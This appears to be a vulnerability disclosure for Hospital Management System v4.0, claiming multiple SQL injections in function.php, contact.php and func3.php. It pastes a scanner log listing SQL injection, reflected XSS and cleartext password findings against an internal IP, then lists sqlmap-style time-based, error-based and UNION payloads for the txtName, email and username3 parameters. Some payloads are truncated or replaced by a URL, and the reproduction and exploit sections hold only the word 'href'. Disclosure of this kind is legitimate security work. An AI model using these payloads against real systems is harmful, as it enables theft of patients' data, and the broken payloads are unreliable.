

The Hospital Management System v4.0 is suffering from Multiple SQL-Injections via three parameters in function.php, contact.php, and func3.php applications. The attacker can be receiving the all information from the system by using this vulnerability, and also the malicious actor can use sensitive information from the customers of this system. WARNING: If this is in some external domain, or some subdomain, or internal, this will be extremely dangerous!

Status: CRITICAL

## **OMG**

```
11:49:13 2 Feb 2022
                                                                                   http://192.168.10.36
11:49:13 2 Feb 2022
                      Evidence adde... 🕕 SQL injection
                                                                                   http://192.168.10.36
                      Evidence adde... 🚺 SQL injection
11:49:13 2 Feb 2022
11:45:48 2 Feb 2022
                                       💔 SQL injection
                                                                                   http://192.168.10.36
11:45:42 2 Feb 2022
                      Evidence adde... 🚺 SQL injection
11:45:42 2 Feb 2022
11:45:42 2 Feb 2022
                      Evidence adde... 🕕 SQL injection
11:45:42 2 Feb 2022
11:43:42 2 Feb 2022
                      Issue found
                                       Cross-site scripting (reflected)
11:43:36 2 Feb 2022
11:43:07 2 Feb 2022
                                       🕕 SQL injection
11:41:35 2 Feb 2022
                                       SQL injection
                                                                                   http://192.168.10.36
                      Issue found
                                       SQL injection
11:41:01 2 Feb 2022
                      Issue found
                                                                                   http://192.168.10.36
11:39:25 2 Feb 2022
                                       🚺 SQL injection
                      Issue found
11:39:00 2 Feb 2022
11:38:34 2 Feb 2022
                                       SQL injection
                                       SQL injection
                                       SQL injection
11:38:00 2 Feb 2022
                      Issue found
11:37:21 2 Feb 2022
                      Issue found
                                                                                   http://192.168.10.36
                                       💶 SQL injection
11:37:14 2 Feb 2022
                                                                                   http://192.168.10.36
                                       SQL injection
                      Issue found
                                       🚺 SQL injection
                                       🜗 SQL injection
11:36:12 2 Feb 2022
                                       🕛 SQL injection
                      Issue found
                                                                                   http://192.168.10.36
11:33:50 2 Feb 2022
                                       Cleartext submission of password
                      Issue found
11:33:49 2 Feb 2022
                                       🚺 Cleartext submission of password
                                       🚺 Cleartext submission of password
```

## [+] Payloads:

```
Parameter: txtName (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: txtName=821761' AND (SELECT 9346 FROM (SELECT(SLEEP(3)))HJGv) AND 'xkCZ
```

```
Parameter: #1* ((custom) POST)

Type: error-based

Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)

Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System

Type: UNION query

Title: MySQL UNION query (random number) - 1 column

Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System

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Parameter: #1* ((custom) POST)

Type: error-based

Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)

Payload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY CONCAT(0x71626a6271,(SE

Type: UNION query

Title: MySQL UNION query (random number) - 1 column

Payload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT CONCAT(0x71626a6271,
```

## Reproduce:

href

## **Proof and Exploit:**

href